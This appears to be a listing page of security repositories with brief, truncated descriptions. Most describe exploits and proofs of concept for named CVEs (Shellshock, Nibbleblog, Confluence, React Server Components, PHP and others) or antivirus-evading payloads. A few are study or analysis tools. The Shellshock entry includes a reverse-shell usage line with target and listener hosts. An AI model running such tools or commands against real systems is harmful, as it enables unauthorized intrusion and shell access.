RedRoot

🔴 RedRoot Lite – Mark X Offensive Security Framework Lite Edition | CLI-Based “Less power. Same discipline.” RedRoot Lite is the restricted edition of RedRoot , designed to provide core red teaming functionality while keeping advanced modules locked. It uses the same architecture, same CLI style,...

security-log-analyzer

🛡️ Security Log Analyzer A fast, dependency-light Python CL...

Moodle-CVE-2024-43425-Exploit

Exploit RCE en Moodle CVE-2024-43425 Este repositorio contiene un script de exploit en Python dirigido a una vulnerabilidad de ejecución remota de código RCE en Moodle CVE-2024-43425. Aviso legal: Esta herramienta se proporciona AS IS únicamente con fines educativos y de investigación. Úsala solo...

CVE-2024-7954-RCE

Descripción El plugin porteplume utilizado por SPIP anterior a 4.30-alpha2, 4.2.13 y 4.1.16 es vulnerable a una vulnerabilidad de ejecución de código arbitrario. Un atacante remoto no autenticado puede ejecutar PHP arbitrario como el usuario de SPIP mediante el envío de una solicitud HTTP...

Anti-Virus-Evading-Payloads

🚩 Anti-Virus-Evading-Payloads !CAUTION Durante la fase de explotación de una prueba de penetración o de un compromiso de hacking ético, en última instancia tendrás que intentar ejecutar código en los equipos del sistema objetivo. Ya sea mediante correos de phishing, la entrega de un payload a...

CVE-2026-98359

A flaw was found in the Linux kernel's Remote Direct Memory Access RDMA subsystem. When an asynchronous RDMA port query retrieves link speed settings, the kernel fails to verify whether the associated network device is being unregistered before invoking its operations. A local user could exploit...

CPENT-iLabs

🛡️ CPENT v2 iLabs — Practical Penetration Testing Vault !Ce...

CVE-2021-30551

CVE-2021-30551 Mi exploit para Chrome V8 CVE-2021-30551 Puedes encontrar la versión de tu Chrome mediante chrome://version o visita http://whatsmyuseragent.org/ Puedes configurar un servidor web localmente usando python como: python3 -m http.server 8080 Y probarlo accediendo a http://127.0.0.1:80...

windiff

WinDiff About WinDiff is an open-source web-based tool that allows browsing and comparing symbol, type and syscall information of Microsoft Windows binaries across different versions of the operating system. The binary database is automatically updated to include information from the latest Windo...

Exploits + Shellcode + GHDB

The Exploit Database Git Repository This is an official repository of The Exploit Database, a project sponsored by Offensive Security. Our repositories are: Exploits & Shellcodes: gitlab.com/exploit-database/exploitdb Binary Exploits: gitlab.com/exploit-database/exploitdb-bin-sploits Papers:...

Exploits + Shellcode + GHDB

Repositorio Git de Exploit Database Este es un repositorio oficial de The Exploit Database, un proyecto patrocinado por Offensive Security. Nuestros repositorios son: Exploits y Shellcodes: gitlab.com/exploit-database/exploitdb Exploits binarios: gitlab.com/exploit-database/exploitdb-bin-sploits...

Forklift_LPE

Forklift 3.3.9 本地权限提升 安装 Forklift 时，一个新的辅助工具 com.binarynights.ForkLiftHelper 会自动安装到 Mac OS X 的 /Library/PrivilegedHelperTools/ 目录中。 分析这个处理 XPC 消息的辅助工具，发现了多种在 Mac OS X 上从用户权限提升到 root 权限的方法。 在默认情况下，接受 XPC 调用时，HelperTool listener:shouldAcceptNewConnection 即 BOOLlistener:NSXPCListener listener...

CVE-2015-6967-EXPLOIT

CVE-2015-6967-EXPLOIT CVE-2015-6967 PoC 漏洞利用工具 该 Python 脚本利用 Nibbleblog 中的一个漏洞（CVE-2015-6967），向目标上传一个反向 Shell。脚本会接收用户输入的目标 URL、用户凭证以及你的主机 IP/端口，然后通过上传一个 PHP 反向 Shell 来触发漏洞。 免责声明 本脚本仅用于教育目的。严禁 将其用于非法活动。在测试或利用任何你不拥有或未获授权访问的系统上的漏洞之前，务必获得明确的许可。 依赖要求 Python 3.x requests 库 argparse 库 colorama 库 pyfigle...

CVE-2018-4878

Autor y Créditos Autor: Vincent Yiu @vysecurity Créditos: @evi1cg: Ayudándome a probar y mantener mi motivación @smgoreli: PoC original de Calc.exe @kbandla: Él lo sabe, y yo lo sé. ; Descargo de responsabilidad Desarrollado para fomentar más desarrollo de scripts Aggressor. ¡Úselo solo en prueba...

CEH-v13

🛡️ CEH v13 Master Vault — Certified Ethical Hacker Study & Lab...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Herramienta de Apache Shellshock de inyección remota de comandos para shell inversa rápida y navegación de archivos Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234...

CVE-2023-22515

CVE-2023-22515: Confluence Data Center & Server Privilege Escalation Vulnerability Analysis Report 1. Overview CVE-2023-22515 is a critical Broken Access Control vulnerability discovered in Atlassian Confluence Data Center and Server products. An unauthenticated attacker can remotely reactivate...

CVE-2025-55182-poc

CVE-2025-55182 - Vulnerabilidad de cadena de prototipos de React Server Components Este POC demuestra CVE-2025-55182 utilizando el código vulnerable real de [email protected]. Inicio rápido Instalar dependencias npm install Iniciar servidor vulnerable puerto 3002 npm start Ejecutar exploit R...

CVE-2025-55182

Exploit CVE-2025-55182 Un sencillo script de python que explota la vulnerabilidad en React Server Components en CVE-2025-55182 inyectando un shell en la aplicación. El script está probado en Next.js versión 16.0.6. Uso Clona el repositorio git clone https://github.com/ahmedshamsddin/CVE-2025-5518...

CVE-2024-4577

Orange Tsi 🍊 Esta vulnerabilidad fue encontrada por Orange Tsai @orange8361 de DEVCORE @d3vc0r3. Asegúrate de seguir su excelente investigación, nuestro papel fue únicamente recrear y desarrollar el exploit para este problema. Alerta de Seguridad: Vulnerabilidad de Inyección de Argumentos en PHP...